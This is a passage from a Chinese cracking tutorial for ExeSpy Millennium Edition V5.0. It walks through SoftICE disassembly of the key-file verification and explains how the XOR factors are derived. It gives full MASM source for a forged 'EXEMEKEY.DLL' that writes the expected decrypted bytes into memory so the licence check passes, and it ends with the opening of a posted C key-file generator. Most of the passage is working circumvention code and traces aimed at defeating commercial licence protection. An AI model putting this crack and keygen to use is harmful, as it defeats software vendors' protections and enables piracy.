0167:00419E35 PUSH ECX
0167:00419E36 MOV EDX,[EBP-18]
0167:00419E39 ADD EDX,18
0167:00419E3C PUSH EDX
0167:00419E3D CALL [KERNEL32!lstrcmp]
0167:00419E43 TEST EAX,EAX
0167:00419E45 JZ 00419E60
0167:00419E47 PUSH 00425C94
0167:00419E4C MOV EAX,[EBP+10]
0167:00419E4F ADD EAX,18
0167:00419E52 PUSH EAX
0167:00419E53 CALL [KERNEL32!lstrcpy]
0167:00419E59 XOR EAX,EAX
0167:00419E5B JMP 0041A07E
0167:00419E60 MOV ECX,[EBP+10]
0167:00419E63 MOV [EBP-2C],ECX
0167:00419E66 MOV EDX,[EBP-18]
0167:00419E69 MOV [EBP-30],EDX
0167:00419E6C MOV DWORD PTR [EBP-24],00000000
0167:00419E73 JMP 00419E7E
0167:00419E75 MOV EAX,[EBP-24]
0167:00419E78 ADD EAX,01
0167:00419E7B MOV [EBP-24],EAX
0167:00419E7E CMP DWORD PTR [EBP-24],000002AC
0167:00419E85 JAE 00419E99
0167:00419E87 MOV ECX,[EBP-2C]
0167:00419E8A ADD ECX,[EBP-24]
0167:00419E8D MOV EDX,[EBP-30]
0167:00419E90 ADD EDX,[EBP-24]
0167:00419E93 MOV AL,[EDX]
0167:00419E95 MOV [ECX],AL
0167:00419E97 JMP 00419E75
0167:00419E99 MOV ECX,[EBP-18]　　　　　　 <-- [EBP-18]=ECX*4+00429FA4(这个ECX是上面的ECX)
0167:00419E9C ADD ECX,000002AC
0167:00419EA2 MOV [EBP-50],ECX
0167:00419EA5 MOV EDX,[EBP-50]　　　　　　 <-- [EBP-18]=ECX*4+00429FA4+000002AC
0167:00419EA8 MOV EAX,[EDX]
0167:00419EAA XOR EAX,[004256E8]
0167:00419EB0 MOV [EBP-48],EAX　　　　　　 <-- [EBP-48]=[ECX*4+00429FA4+000002AC+00] XOR [004256E8]
0167:00419EB3 MOV ECX,[EBP-50]
0167:00419EB6 MOV EDX,[ECX+04]
0167:00419EB9 XOR EDX,[004256E4]
0167:00419EBF MOV [EBP-44],EDX　　　　　　 <-- [EBP-44]=[ECX*4+00429FA4+000002AC+04] XOR [004256E4]
0167:00419EC2 MOV EAX,[EBP-50]
0167:00419EC5 MOV ECX,[EAX+08]
0167:00419EC8 XOR ECX,[004256E0]
0167:00419ECE MOV [EBP-40],ECX　　　　　　 <-- [EBP-40]=[ECX*4+00429FA4+000002AC+08] XOR [004256E0]
0167:00419ED1 MOV EDX,[EBP-40]
0167:00419ED4 ADD EDX,[EBP-44]
0167:00419ED7 ADD EDX,[EBP-48]
0167:00419EDA MOV [EBP-3C],EDX　　　　　　 <-- [EBP-3C]=[EBP-40] ADD [EBP-44] ADD [EBP-48]
0167:00419EDD MOV EAX,[EBP-18]
0167:00419EE0 ADD EAX,000002B8
0167:00419EE5 MOV [EBP-04],EAX　　　　　　 <-- [EBP-04]=ECX*4+00429FA4+000002B8
0167:00419EE8 MOV ECX,[EBP-04]
0167:00419EEB ADD ECX,14
0167:00419EEE MOV [00429F80],ECX
0167:00419EF4 MOV DWORD PTR [EBP-24],000000A5
0167:00419EFB JMP 00419F06
0167:00419EFD MOV EDX,[EBP-24]
0167:00419F00 SUB EDX,01
0167:00419F03 MOV [EBP-24],EDX
0167:00419F06 CMP DWORD PTR [EBP-24],00
0167:00419F0A JL 00419F3C
0167:00419F0C MOV EAX,[EBP-3C]
0167:00419F0F XOR EAX,[EBP-24]
0167:00419F12 MOV ECX,[EBP-24]
0167:00419F15 MOV EDX,[00429F80]
0167:00419F1B MOV ECX,[ECX*4+EDX-04]
0167:00419F1F XOR ECX,EAX
0167:00419F21 MOV EDX,[EBP-24]
0167:00419F24 MOV EAX,[00429F80]
0167:00419F29 MOV EDX,[EDX*4+EAX]
0167:00419F2C XOR EDX,ECX
0167:00419F2E MOV EAX,[EBP-24]
0167:00419F31 MOV ECX,[00429F80]
0167:00419F37 MOV [EAX*4+ECX],EDX
0167:00419F3A JMP 00419EFD
0167:00419F3C MOV EDX,[00429F80]
0167:00419F42 MOV EAX,[EDX]
0167:00419F44 XOR EAX,[EBP-3C]
0167:00419F47 MOV ECX,[00429F80]
0167:00419F4D MOV [ECX],EAX
0167:00419F4F MOV EDX,[EBP-04]　　　　　　 <-- [EBP-04]=ECX*4+00429FA4+000002B8
0167:00419F52 ADD EDX,000002AC
0167:00419F58 MOV [EBP-50],EDX　　　　　　 <-- [EBP-50]=ECX*4+00429FA4+000002B8+000002AC
0167:00419F5B MOV EAX,[EBP-50]
0167:00419F5E MOV ECX,[EAX]
0167:00419F60 XOR ECX,[004256E8]
0167:00419F66 MOV [EBP-48],ECX　　　　　　 <-- [EBP-48]=[ECX*4+00429FA4+000002B8+000002AC+00] XOR [004256E8]
0167:00419F69 MOV EDX,[EBP-50]
0167:00419F6C MOV EAX,[EDX+04]
0167:00419F6F XOR EAX,[004256E4]
0167:00419F75 MOV [EBP-44],EAX　　　　　　 <-- [EBP-44]=[ECX*4+00429FA4+000002B8+000002AC+04] XOR [004256E4]
0167:00419F78 MOV ECX,[EBP-50]
0167:00419F7B MOV EDX,[ECX+08]
0167:00419F7E XOR EDX,[004256E0]
0167:00419F84 MOV [EBP-40],EDX　　　　　　 <-- [EBP-40]=[ECX*4+00429FA4+000002B8+000002AC+08] XOR [004256E0]
0167:00419F87 MOV EAX,[EBP-44]
0167:00419F8A XOR EAX,[EBP-48]
0167:00419F8D MOV ECX,[EBP-40]
0167:00419F90 ADD ECX,EAX
0167:00419F92 MOV [EBP-3C],ECX　　　　　　 <-- [EBP-3C]=([EBP-44] XOR [EBP-48]) ADD [EBP-40]
0167:00419F95 MOV EDX,[EBP-04]
0167:00419F98 ADD EDX,000002B8
0167:00419F9E MOV [EBP-08],EDX
0167:00419FA1 MOV EAX,[EBP-08]
0167:00419FA4 ADD EAX,000002AC
0167:00419FA9 MOV [00426E00],EAX
0167:00419FAE MOV ECX,[EBP-08]
0167:00419FB1 ADD ECX,14
0167:00419FB4 MOV [00429F80],ECX
0167:00419FBA MOV DWORD PTR [EBP-24],000000A5
0167:00419FC1 JMP 00419FCC
0167:00419FC3 MOV EDX,[EBP-24]
0167:00419FC6 SUB EDX,01
0167:00419FC9 MOV [EBP-24],EDX
0167:00419FCC CMP DWORD PTR [EBP-24],00
0167:00419FD0 JL 0041A002
0167:00419FD2 MOV EAX,[EBP-3C]
0167:00419FD5 XOR EAX,[EBP-24]
0167:00419FD8 MOV ECX,[EBP-24]
0167:00419FDB MOV EDX,[00429F80]
0167:00419FE1 MOV ECX,[ECX*4+EDX-04]
0167:00419FE5 XOR ECX,EAX
0167:00419FE7 MOV EDX,[EBP-24]
0167:00419FEA MOV EAX,[00429F80]
0167:00419FEF MOV EDX,[EDX*4+EAX]
0167:00419FF2 XOR EDX,ECX
0167:00419FF4 MOV EAX,[EBP-24]
0167:00419FF7 MOV ECX,[00429F80]
0167:00419FFD MOV [EAX*4+ECX],EDX
0167:0041A000 JMP 00419FC3
0167:0041A002 MOV EDX,[00429F80]
0167:0041A008 MOV EAX,[EDX]
0167:0041A00A XOR EAX,[EBP-3C]
0167:0041A00D MOV ECX,[00429F80]
0167:0041A013 MOV [ECX],EAX
0167:0041A015 MOV EDX,[EBP-04]
0167:0041A018 ADD EDX,14
0167:0041A01B MOV [EBP-54],EDX
0167:0041A01E MOV EAX,[EBP-08]
0167:0041A021 ADD EAX,14
0167:0041A024 MOV [EBP-58],EAX
0167:0041A027 MOV ECX,[EBP+10]
0167:0041A02A ADD ECX,14
0167:0041A02D MOV [EBP-5C],ECX
0167:0041A030 MOV DWORD PTR [EBP-24],000000A5
0167:0041A037 JMP 0041A042
0167:0041A039 MOV EDX,[EBP-24]
0167:0041A03C SUB EDX,01
0167:0041A03F MOV [EBP-24],EDX
0167:0041A042 CMP DWORD PTR [EBP-24],01
0167:0041A046 JL 0041A076
0167:0041A048 MOV EAX,[EBP-24]
0167:0041A04B MOV ECX,[EBP-54]
0167:0041A04E MOV EDX,[EBP-24]
0167:0041A051 MOV ESI,[EBP-5C]
0167:0041A054 MOV EAX,[EAX*4+ECX]
0167:0041A057 CMP EAX,[EDX*4+ESI]
0167:0041A05A JNZ 0041A070
0167:0041A05C MOV ECX,[EBP-24]
0167:0041A05F MOV EDX,[EBP-58]
0167:0041A062 MOV EAX,[EBP-24]
0167:0041A065 MOV ESI,[EBP-5C]
0167:0041A068 MOV ECX,[ECX*4+EDX]
0167:0041A06B CMP ECX,[EAX*4+ESI]
0167:0041A06E JZ 0041A074
0167:0041A070 XOR EAX,EAX
0167:0041A072 JMP 0041A07E
0167:0041A074 JMP 0041A039
0167:0041A076 MOV EDX,[EBP+14]
0167:0041A079 MOV EAX,[EDX]
0167:0041A07B XOR EAX,-01
0167:0041A07E POP ESI
0167:0041A07F MOV ESP,EBP
0167:0041A081 POP EBP
0167:0041A082 RET 0010
。。。

17. 增大眼睛看清楚上面的程序段，大体上和98系列的相应程序是一样的，最明显的地方就是这里的异或因子XOR_FACTOR计算方法和以前不一样：
    第一轮的异或因子XOR_FACTOR1=[EBP-0C]=[EBP-20] XOR [EBP-1C] XOR [EBP-14]，其中：[EBP-20]=[00429FA0+0C] XOR [004256E8]、[EBP-1C]=[00429FA0+10] XOR [004256E4]、[EBP-14]=[00429FA0+14] XOR [004256E0]；
    第二轮的异或因子XOR_FACTOR2=[EBP-3C]=[EBP-40] ADD [EBP-44] ADD [EBP-48]，其中：[EBP-48]=[ECX*4+00429FA4+000002AC+00] XOR [004256E8]、[EBP-44]=[ECX*4+00429FA4+000002AC+04] XOR [004256E4]、 [EBP-40]=[ECX*4+00429FA4+000002AC+08] XOR [004256E0]；
    第三轮的异或因子XOR_FACTOR3=[EBP-3C]=([EBP-44] XOR [EBP-48]) ADD [EBP-40]，其中：[EBP-48]=[ECX*4+00429FA4+000002B8+000002AC+00] XOR [004256E8]、 [EBP-44]=[ECX*4+00429FA4+000002B8+000002AC+04] XOR [004256E4]、[EBP-40]=[ECX*4+00429FA4+000002B8+000002AC+08] XOR [004256E0]；
    看明白了吗？其实只是在98系列异或因子计算的基础上每个对应项都异或了[004256E8]、[004256E4]和[004256E0]三个值中的某一个，也就是只要将异或这三个值的地方拿掉就和98系列的子程序一模一样了！

18. 从上面的子程序CALL　00419C0B出来后我们走到步骤12中这个CALL下面的语句0167:0041A189　CALL　0041A085处停下，然后按F8进去：
。。。
0167:0041A085 PUSH EBP
0167:0041A086 MOV EBP,ESP
0167:0041A088 PUSH ECX
0167:0041A089 MOV DWORD PTR [EBP-04],00000000　<-- 循环计数值[EBP-04]初值为00
0167:0041A090 JMP 0041A09B
0167:0041A092 MOV EAX,[EBP-04]
0167:0041A095 ADD EAX,01
0167:0041A098 MOV [EBP-04],EAX
0167:0041A09B MOV ECX,[EBP-04]
0167:0041A09E CMP ECX,[EBP+10]　　　　　　 <-- 循环次数是否已到[EBP+10]=00000298次
0167:0041A0A1 JGE 0041A0C1　　　　　　　　 <-- 循环完毕则跳到0041A0C1去
0167:0041A0A3 MOV EDX,[EBP+08]　　　　　　 <-- [EBP+08]=00429394
0167:0041A0A6 ADD EDX,[EBP-04]　　　　　　 <-- 加上偏移值
0167:0041A0A9 XOR EAX,EAX　　　　　　　　　<-- EAX清零
0167:0041A0AB MOV AL,[EDX]　　　　　　　　 <-- 取出内存地址00429394偏移[EBP-04]的字符放入AL
0167:0041A0AD MOV ECX,[EBP+0C]　　　　　　 <-- [EBP+0C]指向解密后的数据
0167:0041A0B0 ADD ECX,[EBP-04]　　　　　　 <-- 加上偏移值
0167:0041A0B3 XOR EDX,EDX　　　　　　　　　<-- EDX清零
0167:0041A0B5 MOV DL,[ECX]　　　　　　　　 <-- 取出解密数据偏移[EBP-04]的字符放入DL
0167:0041A0B7 CMP EAX,EDX　　　　　　　　　<-- 对应的字符是否相等
0167:0041A0B9 JZ 0041A0BF　　　　　　　　 <-- 相等则继续
0167:0041A0BB XOR EAX,EAX　　　　　　　　　<-- 不等则EAX清零，子程序返回
0167:0041A0BD JMP 0041A0C6
0167:0041A0BF JMP 0041A092
0167:0041A0C1 MOV EAX,00000001　　　　　　 <-- 如果所有字符相等，则将00000001作为子程序返回值
0167:0041A0C6 MOV ESP,EBP
0167:0041A0C8 POP EBP
0167:0041A0C9 RET 000C
。。。

19. 上面这段程序作用非常简单，就是比较地址00429394开始的00000298个字符数据是否和被解密后的数据完全相同，如果相同返回1，否则返回0，显然返回0是表示错误的；但是当我们用 D　00429394 查看内存的时候发现里面全是00，怎么搞的，程序居然将解密后的数据和00来比较，怎么可能相等呢！！！我们可以试着多次退出ExeSpyME然后再来到这里，发现无论怎样00429394开始的地方永远都是00，为什么呀？？？好好想想，然后回头看看步骤12，哈哈，是不是那个“EXEMEKEY.DLL”搞的鬼呢？还记得0167:0041A122　CALL　[EBP-20]这句吗，这个CALL是“EXEMEKEY.DLL”中索引值为65的引出函数，当时我们不清楚它的作用，现在我们可以回顾一下，自从调用了这个函数以后，程序就开始设置[004256E0]、[004256E4]、[004256E8]和[004256EC]的值，然后CALL　00419C0B用其中的[004256E0]、[004256E4]和[004256E8]计算异或因子XOR_FACTOR，随后校验KEY FILE“EXEMEUE.DAT”，再下来CALL　0041A085将解密后的数据与内存地址00429394(00429380偏移14处)开始的00000298个字符数据相比较，但是我们只看见00429394中是一堆的00，而CALL　[EBP-20]的入口参数是[EBP-18](程序返回后这里开始的值用来给[004256E0]、[004256E4]、[004256E8]和[004256EC]赋值)、000002AC(正好是00000298加上14)和内存地址00429380，所以我们可以肯定CALL　[EBP-20]的作用一是返回用来计算异或因子XOR_FACTOR的值，二是将解密后的000002AC个字符数据拷贝到内存地址00429380开始的区域中；

20. 现在我们又进一步知道了KEY FILE“EXEMEKEY.DLL”中引出函数的作用，现在就要来写这个子程序了，那么我们如何在“EXEMEKEY.DLL”中将内存地址00429380开始的000002AC个字符区域变成解密数据呢？一种方法是在“EXEMEKEY.DLL”中用汇编程序实现KEY FILE“EXEMEUE.DAT”中的第一轮加解密数据算法得到加密数据并将其解密，然后将对应的解密数据拷贝到内存00429380中，这种方法必须用汇编实现KEY FILE“EXEMEUE.DAT”的加解密算法得到解密数据，比较麻烦；另外一种笨办法是当程序走到上面的0167:0041A0AD　MOV　ECX,[EBP+0C]处时用命令 D EBP+0C L 00000298，将这些字符数据全部记下来，然后在程序中直接将这些数据作为固定数据拷贝到内存00429394中，这种办法比较烦琐，但是实现起来比较简单；
    注意：因为程序中只是比较00429394开始的00000298个字符数据，所以当我们用笨办法实现DLL的时候只需要将EBP+0C处开始的00000298个解密数据拷贝到内存00429394中就可以了，至于00429380到00429394之间的14个字符因为程序没有使用，所以可以不去管它，下面是笨办法的某一DLL实现程序(只针对某一特定的KEY FILE“EXEMEUE.DAT”，因为不同的“EXEMEUE.DAT”对应不同的“EXEMEKEY.DLL”，需要修改相应的解密数据)：
-------------------------------------------------------------------------------------------------------------------------
；Exemekey.asm

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
data_decoded DB 2Dh,1Fh,47h,1Eh,45h,78h,65h,53h,70h,79h,20h,4Dh,69h,6Ch,6Ch,65h ;-.G.ExeSpy Mille
DB 6Eh,6Eh,69h,75h,6Dh,20h,45h,64h,69h,74h,69h,6Fh,6Eh,20h,66h,6Fh ;nnium Edition fo
DB 72h,20h,57h,69h,6Eh,64h,6Fh,77h,73h,20h,4Dh,45h,2Fh,39h,38h,2Fh ;r Windows ME/98/
DB 39h,35h,00h,00h,05h,00h,00h,00h,06h,00h,00h,00h,07h,00h,00h,00h ;95..............
DB 18h,00h,00h,00h,19h,00h,00h,00h,73h,3Fh,44h,4Ch,2Eh,5Ch,45h,58h ;........s?DL.\EX
DB 45h,4Dh,45h,55h,52h,2Eh,44h,41h,54h,00h,00h,00h,1Fh,00h,00h,00h ;EMEUR.DAT.......
DB 10h,00h,00h,00h,11h,00h,00h,00h,12h,00h,00h,00h,13h,00h,00h,00h ;................
DB 14h,00h,00h,00h,15h,00h,00h,00h,16h,00h,00h,00h,17h,00h,00h,00h ;................
DB 28h,00h,00h,00h,29h,00h,00h,00h,2Ah,00h,00h,00h,2Bh,00h,00h,00h ;(...)...*...+...
DB 2Ch,00h,00h,00h,2Dh,00h,00h,00h,2Eh,00h,00h,00h,2Fh,00h,00h,00h ;,...-......./...
DB 20h,00h,00h,00h,21h,00h,00h,00h,22h,00h,00h,00h,23h,00h,00h,00h ; ...!..."...#...
DB 24h,00h,00h,00h,25h,00h,00h,00h,26h,00h,00h,00h,27h,00h,00h,00h ;$...%...&...'...
DB 38h,00h,00h,00h,39h,00h,00h,00h,3Ah,00h,00h,00h,3Bh,00h,00h,00h ;8...9...:...;...
DB 3Ch,00h,00h,00h,3Dh,00h,00h,00h,3Eh,00h,00h,00h,3Fh,00h,00h,00h ;<...=...>...?...
DB 30h,00h,00h,00h,31h,00h,00h,00h,32h,00h,00h,00h,33h,00h,00h,00h ;0...1...2...3...
DB 34h,00h,00h,00h,35h,00h,00h,00h,36h,00h,00h,00h,37h,00h,00h,00h ;4...5...6...7...
DB 48h,00h,00h,00h,49h,00h,00h,00h,4Ah,00h,00h,00h,4Bh,00h,00h,00h ;H...I...J...K...
DB 4Ch,00h,00h,00h,4Dh,00h,00h,00h,4Eh,00h,00h,00h,4Fh,00h,00h,00h ;L...M...N...O...
DB 40h,00h,00h,00h,41h,00h,00h,00h,42h,00h,00h,00h,43h,00h,00h,00h ;@...A...B...C...
DB 44h,00h,00h,00h,45h,00h,00h,00h,46h,00h,00h,00h,47h,00h,00h,00h ;D...E...F...G...
DB 58h,00h,00h,00h,59h,00h,00h,00h,5Bh,08h,64h,6Fh,68h,6Fh,64h,6Fh ;X...Y...[.dohodo
DB 6Eh,67h,00h,00h,5Dh,00h,00h,00h,5Eh,00h,00h,00h,5Fh,00h,00h,00h ;ng..]...^..._...
DB 50h,00h,00h,00h,51h,00h,00h,00h,52h,00h,00h,00h,53h,00h,00h,00h ;P...Q...R...S...
DB 54h,00h,00h,00h,55h,00h,00h,00h,56h,00h,00h,00h,57h,00h,00h,00h ;T...U...V...W...
DB 68h,00h,00h,00h,69h,00h,00h,00h,6Ah,00h,00h,00h,6Bh,00h,00h,00h ;h...i...j...k...
DB 6Ch,00h,00h,00h,6Dh,00h,00h,00h,6Eh,00h,00h,00h,6Fh,00h,00h,00h ;l...m...n...o...
DB 60h,00h,00h,00h,61h,00h,00h,00h,62h,00h,00h,00h,63h,00h,00h,00h ;`...a...b...c...
DB 64h,00h,00h,00h,65h,00h,00h,00h,66h,00h,00h,00h,67h,00h,00h,00h ;d...e...f...g...
DB 78h,00h,00h,00h,79h,00h,00h,00h,7Ah,00h,00h,00h,7Bh,00h,00h,00h ;x...y...z...{...
DB 7Ch,00h,00h,00h,7Dh,00h,00h,00h,7Eh,00h,00h,00h,7Fh,00h,00h,00h ;|...}...~......
DB 70h,00h,00h,00h,71h,00h,00h,00h,72h,00h,00h,00h,73h,00h,00h,00h ;p...q...r...s...
DB 74h,00h,00h,00h,75h,00h,00h,00h,76h,00h,00h,00h,77h,00h,00h,00h ;t...u...v...w...
DB 88h,00h,00h,00h,89h,00h,00h,00h,8Ah,00h,00h,00h,8Bh,00h,00h,00h ;................
DB 8Ch,00h,00h,00h,8Dh,00h,00h,00h,8Eh,00h,00h,00h,8Fh,00h,00h,00h ;................
DB 80h,00h,00h,00h,81h,00h,00h,00h,82h,00h,00h,00h,83h,00h,00h,00h ;................
DB 84h,00h,00h,00h,85h,00h,00h,00h,86h,00h,00h,00h,87h,00h,00h,00h ;................
DB 98h,00h,00h,00h,99h,00h,00h,00h,49h,47h,45h,52h,01h,00h,00h,00h ;........IGER....
DB 01h,00h,00h,00h,49h,47h,45h,52h,45h,53h,00h,00h,44h,53h,00h,00h ;....IGERES..DS..
DB 90h,00h,00h,00h,91h,00h,00h,00h,92h,00h,00h,00h,93h,00h,00h,00h ;................
DB 94h,00h,00h,00h,8Bh,0Ch,6Eh,67h,73h,69h,6Eh,67h,6Ch,65h,00h,00h ;......ngsingle..
DB 0A8h,00h,00h,00h,0A9h,00h,00h,00h,0AAh,00h,00h,00h,0ABh,00h,00h,00h ;................
DB 0ACh,00h,00h,00h,0ADh,00h,00h,00h

.code
DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
mov eax,TRUE
ret
DllEntry Endp

Call_ebp_20 proc
push ebp
mov ebp,esp

mov eax,[ebp+10h] <-- 对应程序中的入口参数EBP-18
mov dword ptr [eax+00h],006BE048h <-- 可以随意，这是没有这个函数时程序的默认值，对应[004256E0]
mov dword ptr [eax+04h],00000008h <-- 可以随意，这是没有这个函数时程序的默认值，对应[004256E4]
mov dword ptr [eax+08h],00429FA0h <-- 可以随意，这是没有这个函数时程序的默认值，对应[004256E8]
mov dword ptr [eax+0Ch],000003B2h <-- 可以随意，这是没有这个函数时程序的默认值，对应[004256EC]

mov edi,[ebp+08h] <-- 对应程序中的入口参数00429380
add edi,14 <-- 只需要比较偏移14开始的数据(笨办法^_^)
lea esi,data_decoded
mov ecx,[ebp+0Ch] <-- 对应程序中的入口参数000002AC
sub ecx,14 <-- 只需要比较00000298个字符(笨办法^_^)
rep movsb

mov eax,00000001
mov esp,ebp
pop ebp
ret 0ch
Call_ebp_20 Endp

End DllEntry

；Exemekey.def和build.bat跟上面的一样

-----------------------------------------------------------------------------------------------------------------------

21. 将上面的程序编译成新的“EXEMEKEY.DLL”放在C盘根目录，然后重新来到步骤12，按F10一步一步往下走，哈哈，现在是不是可以正大光明的走到最后啦^_^, 接下来我们按F10返回到步骤12 --> 步骤11，然后从步骤9最后面的程序继续往下走：
。。。
0167:00411CA9 JNZ 00411CC6
0167:00411CAB PUSH 10
0167:00411CAD PUSH 004251BC
0167:00411CB2 PUSH 004251C4
0167:00411CB7 MOV EAX,[EBP+08]
0167:00411CBA PUSH EAX
0167:00411CBB CALL [USER32!MessageBoxA]
0167:00411CC1 JMP 00411DD5
0167:00411CC6 PUSH 65　　　　　　　　　　　　　<-- 常数65压栈
0167:00411CC8 MOV ECX,[EBP+08]　　　　　　　 <-- [EBP+08]为对话框句柄
0167:00411CCB PUSH ECX
0167:00411CCC PUSH 0042009C　　　　　　　　　 <-- 地址0042009C指向字符串“.\EXEMEUE.DAT”
0167:00411CD1 LEA EDX,[EBP+FFFFDCA4]　　　　<-- [EBP+FFFFDCA4]为解密后的KEY FILE数据
0167:00411CD7 PUSH EDX
0167:00411CD8 MOV EAX,[EBP+FFFFDC9C]　　　　<-- [EBP+FFFFDC9C]为前面验证程序的返回值
0167:00411CDE PUSH EAX
0167:00411CDF CALL 0041A240　　　　　　　　　 <-- 继续验证KEY FILE“.\EXEMEUE.DAT”，作用和98系列的CALL 0040C780完全一样
0167:00411CE4 TEST EAX,EAX
0167:00411CE6 JZ 00411DA9
0167:00411CEC PUSH 00
0167:00411CEE LEA ECX,[EBP-50]
0167:00411CF1 PUSH ECX
0167:00411CF2 CALL [KERNEL32!_lopen]　　　　　<-- 打开KEY FILE文件“c:\EXEMEUE.DAT”
0167:00411CF8 MOV [EBP-00A8],EAX
0167:00411CFE PUSH 00
0167:00411D00 PUSH 0042009C
0167:00411D05 CALL [KERNEL32!_lcreat]　　　　 <-- 在EXESPYME的当前目录创建文件“.\EXEMEUE.DAT”
0167:00411D0B MOV [EBP-00AC],EAX
0167:00411D11 CMP DWORD PTR [EBP-00AC],-01
0167:00411D18 JNZ 00411D3F
0167:00411D1A PUSH 10
0167:00411D1C PUSH 004251F0
0167:00411D21 PUSH 004251F8
0167:00411D26 MOV EDX,[EBP+08]
0167:00411D29 PUSH EDX
0167:00411D2A CALL [USER32!MessageBoxA]
0167:00411D30 MOV EAX,[EBP-00A8]
0167:00411D36 PUSH EAX
0167:00411D37 CALL [KERNEL32!_lclose]
0167:00411D3D JMP 00411DA7
0167:00411D3F PUSH 50
0167:00411D41 LEA ECX,[EBP-00A0]
0167:00411D47 PUSH ECX
0167:00411D48 MOV EDX,[EBP-00A8]
0167:00411D4E PUSH EDX
0167:00411D4F CALL [KERNEL32!_hread]　　　　　<-- 读文件“c:\EXEMEUE.DAT”
0167:00411D55 MOV [EBP+FFFFDC98],EAX
0167:00411D5B CMP DWORD PTR [EBP+FFFFDC98],00
0167:00411D62 JLE 00411D81
0167:00411D64 MOV EAX,[EBP+FFFFDC98]
0167:00411D6A PUSH EAX
0167:00411D6B LEA ECX,[EBP-00A0]
0167:00411D71 PUSH ECX
0167:00411D72 MOV EDX,[EBP-00AC]
0167:00411D78 PUSH EDX
0167:00411D79 CALL [KERNEL32!_hwrite]　　　　 <-- 写文件“.\EXEMEUE.DAT”
0167:00411D7F JMP 00411D3F
0167:00411D81 MOV EAX,[EBP-00AC]
0167:00411D87 PUSH EAX
0167:00411D88 CALL [KERNEL32!_lclose]　　　　 <-- 关闭文件“.\EXEMEUE.DAT”
0167:00411D8E MOV ECX,[EBP-00A8]
0167:00411D94 PUSH ECX
0167:00411D95 CALL [KERNEL32!_lclose]　　　　 <-- 关闭文件“c:\EXEMEUE.DAT”
0167:00411D9B PUSH 01
0167:00411D9D MOV EDX,[EBP+08]
0167:00411DA0 PUSH EDX
0167:00411DA1 CALL [USER32!EndDialog]
0167:00411DA7 JMP 00411DD5
0167:00411DA9 PUSH 00
0167:00411DAB PUSH 0042009C
0167:00411DB0 CALL [KERNEL32!_lcreat]
0167:00411DB6 MOV [EBP-00AC],EAX
0167:00411DBC MOV EAX,[EBP-00A8]
0167:00411DC2 PUSH EAX
0167:00411DC3 CALL [KERNEL32!_lclose]
0167:00411DC9 PUSH 00
0167:00411DCB MOV ECX,[EBP+08]
0167:00411DCE PUSH ECX
0167:00411DCF CALL [USER32!EndDialog]
0167:00411DD5 JMP 00411DED
0167:00411DD7 PUSH 10
0167:00411DD9 PUSH 00425220
0167:00411DDE PUSH 00425228
0167:00411DE3 MOV EDX,[EBP+08]
0167:00411DE6 PUSH EDX
0167:00411DE7 CALL [USER32!MessageBoxA]
0167:00411DED JMP 00411DFB
0167:00411DEF PUSH 00
0167:00411DF1 MOV EAX,[EBP+08]
0167:00411DF4 PUSH EAX
0167:00411DF5 CALL [USER32!EndDialog]
0167:00411DFB JMP 00411E0F
0167:00411DFD PUSH 00
0167:00411DFF MOV ECX,[EBP+08]
0167:00411E02 PUSH ECX
0167:00411E03 CALL [USER32!EndDialog]
0167:00411E09 JMP 00411E0F
0167:00411E0B XOR EAX,EAX
0167:00411E0D JMP 00411E14
0167:00411E0F MOV EAX,00000001
0167:00411E14 MOV ESP,EBP
0167:00411E16 POP EBP
0167:00411E17 RET 0010
。。。

22. 上面的程序跟98系列是一样的，只不过验证“.DAT”KEY FILE时其验证字符串多了个前缀“.\”（98系列为“SET98UR.DAT”,ME系列为“.\EXEMEUE.DAT”)，程序后面同样是将KEY FILE“EXEMEUE.DAT”拷贝到EXESPYME的当前目录下；

23. 好了，到这里我就不再往后讲了，因为这篇文章主要是讨论98系列跟ME系列的不同之处（主要是针对KEY FILE“EXEMEKEY.DLL”），从这里以后的程序虽然跟98系列的不完全一样（因为ME系列是“SPY2”型的嘛！），但是对于有效的注册KEY FILE来说（REG_TYPE="REGI"），程序功能作用完全一致，也就是说从这里以后可以继续沿用98系列的注册机算法，只需要将相应的字符串信息换掉即可，后面程序的具体细节自己去看吧，这篇文章的目的已经达到，我要休息啦，真的好累，啊啊啊。。。！！！

24. 注意：附件所带的注册机C语言源程序中KEY FILE“EXEMEKEY.DLL”的产生方法是先用汇编生成“EXEMEKEY.DLL”，然后将整个“EXEMEKEY.DLL”文件的数据放在源程序中，并根据程序需要修改相应部分的数据（对应产生的KEY FILE“EXEMEUR.DAT”），另外程序中“EXEMEKEY.DLL”对应的汇编源程序和上面讲解的汇编源程序有一点不同，所以希望大家不要奇怪为什么源程序中的程序结构和破解文件中不一致；

25. 附录：下面放上程序中用到的几个相关API函数的原型：
HINSTANCE LoadLibrary(

LPCTSTR lpLibFileName // address of filename of executable module
);

FARPROC GetProcAddress(

HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // name of function
);

BOOL FreeLibrary(

HMODULE hLibModule // handle to loaded library module
);

标 题:注册机 (33千字)
发信人:娃娃[CCG]
时 间:2001-11-19 17:47:43
详细信息:

/* key_file Generator for ExeSpyME V5.0 Author: ddcrack Written by: 2001/10/08 */

/* #define Program_name "ExeSpy Millennium Edition for Windows ME/98/95"*/ /* addr: ebp+0x018 */
#define key_file_name "EXEMEUR.DAT" /* addr: ebp+0x060 */
#define dll_file_name "EXEMEKEY.DLL" /* generated dll file name*/
#define dll_data_memo_addr 0x00429394 /* the location of dll data in system memory */
/* got by finding "00000298" in W32Dasm or tracing in softice */
#define Version 0x00000005 /* addr: ebp+0x000 */
/* #define Username input by user /* addr: ebp+0x160 */
/* #define SN_Header "PD" /* addr: ebp+0x26C */
/* #define SN_Tail "ES" /* addr: ebp+0x28C */
#define VersionEx 0x00000001 /* addr: ebp+0x260 */
/* #define User_ID generated by random addr: ebp+0x264 */
#define Reg_Type 0x52454749 /* addr: ebp+0x268 */
/* Reg_Type: 0x52454749 --> "REGI"
0x53485050 --> "SHPP"
0x4556414C --> "EVAL" */
#define Free_year 2025 /* free update date addr: ebp+0x05C */
#define Free_month 12 /* Free_year=year+7CD, max year=0x3F*/
#define Free_day 12 /* year<=0x1F=31, so Free_year<=2028*/
#define Free_hour 12
#define Free_minute 12
#define Free_second 12

#define addr_004256EC ********** /* function unknown, can be any value */
#define addr_004256E8 0x00429FA0 /* one of XOR factors, can be any value */
#define addr_004256E4 0x00000008 /* one of XOR factors, can be any value */
